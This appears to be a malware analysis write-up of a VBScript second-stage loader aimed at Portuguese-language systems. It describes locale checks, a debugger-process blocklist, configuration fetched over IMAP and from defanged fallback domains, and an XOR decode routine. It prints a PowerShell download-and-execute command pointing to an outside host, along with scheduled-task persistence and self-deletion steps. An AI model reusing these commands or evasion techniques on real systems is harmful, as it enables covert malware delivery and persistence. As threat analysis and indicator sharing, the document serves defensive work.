Overview
– Second-stage VBScript is executed in-memory via ExecuteGlobal by a Stage‑0 loader.
– Primary goals: Portuguese locale gating, anti-analysis checks, configuration bootstrap (IMAP → multi-domain /data.php → Pastebin), PowerShell stage launch, optional self-delete.

Locale Targeting (PT-BR/PT-PT)
—————————————————————-
Function CheckSystemLanguage()
‘ OSLanguage 1046 = pt-BR, 2070 = pt-PT
‘ Registry fallback: HKCU\Control Panel\International\sLanguage starts with “PT”
End Function

Anti‑Analysis (Debugger Process Checks)
—————————————————————-
debuggerList = Array(“ollydbg.exe”,”idaq.exe”,”x32dbg.exe”,”x64dbg.exe”,”windbg.exe”,”processhacker.exe”,”procmon.exe”)
For Each p In Win32_Process
If LCase(p.Name) In debuggerList Then Exit (altered flow/exit)
Next

Config Retrieval Order
—————————————————————-
1) IMAP (Terra mailbox)
– Host: imap.terra.com.br:993 (TLS)
– Flow: LOGIN → SELECT INBOX → SEARCH SUBJECT “data” → FETCH BODY[TEXT] → parse server/C2 URLs
2) Fallback domains (HTTP[S]) — all queried with /data.php
– lefthandsuperstructures[.]com
– clhttradinglimited[.]com
– mazdafinancialsevrices[.]com
– ricardasphotography[.]com
– jornalistaaurelianoborgesmidia[.]com
– cursosgratiss[.]com[.]br
– intelligentopennetworkingawards[.]com
– vinhomeshungyentheempires[.]com
– wbdiamonds[.]com
– pastebin[.]com/raw/SmCz4cp8 (secondary config source)
3) If a valid SERVER_URL / POWERSHELL_URL discovered → proceed to PS stage

Public IP Probe
—————————————————————-
– HTTP GET to api.ipify[.]org to record external IP

PowerShell Stage Construction (Excerpt)
—————————————————————-
‘ Build command with TLS12 + DownloadString + IEX to PS endpoint
powershell.exe -ep bypass “[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;iex ((New-Object Net.WebClient).DownloadString(‘https://miportuarios[.]com/sisti/api.ps1’))”

Persistence & Cleanup (Excerpt)
—————————————————————-
– Hide directory: attrib.exe +h +s “C:\ProgramData\WindowsManager\”
– Scheduled Task (OnStart, SYSTEM): “Windows Manager Services” → wscript.exe “C:\ProgramData\WindowsManager\WinManagers.vbs”
– Self‑delete via temp BAT after execution

Stage‑0 → Stage‑2 Decode Pattern (Representative)
—————————————————————-
‘ Stage‑0 emits pipe‑delimited numeric tokens and decodes with XOR‑derived subtractions, then Chr(…):
varX = CInt(token)
varX = (varX – (202 Xor 10)) Mod 256
varX = (varX – (178 Xor 159)) Mod 256
varX = (varX – (38 Xor 250)) Mod 256
varX = (varX – (234 Xor 37 )) Mod 256
decoded_char = Chr(varX)
‘ Decoded buffer ExecuteGlobal → Stage‑2 controller
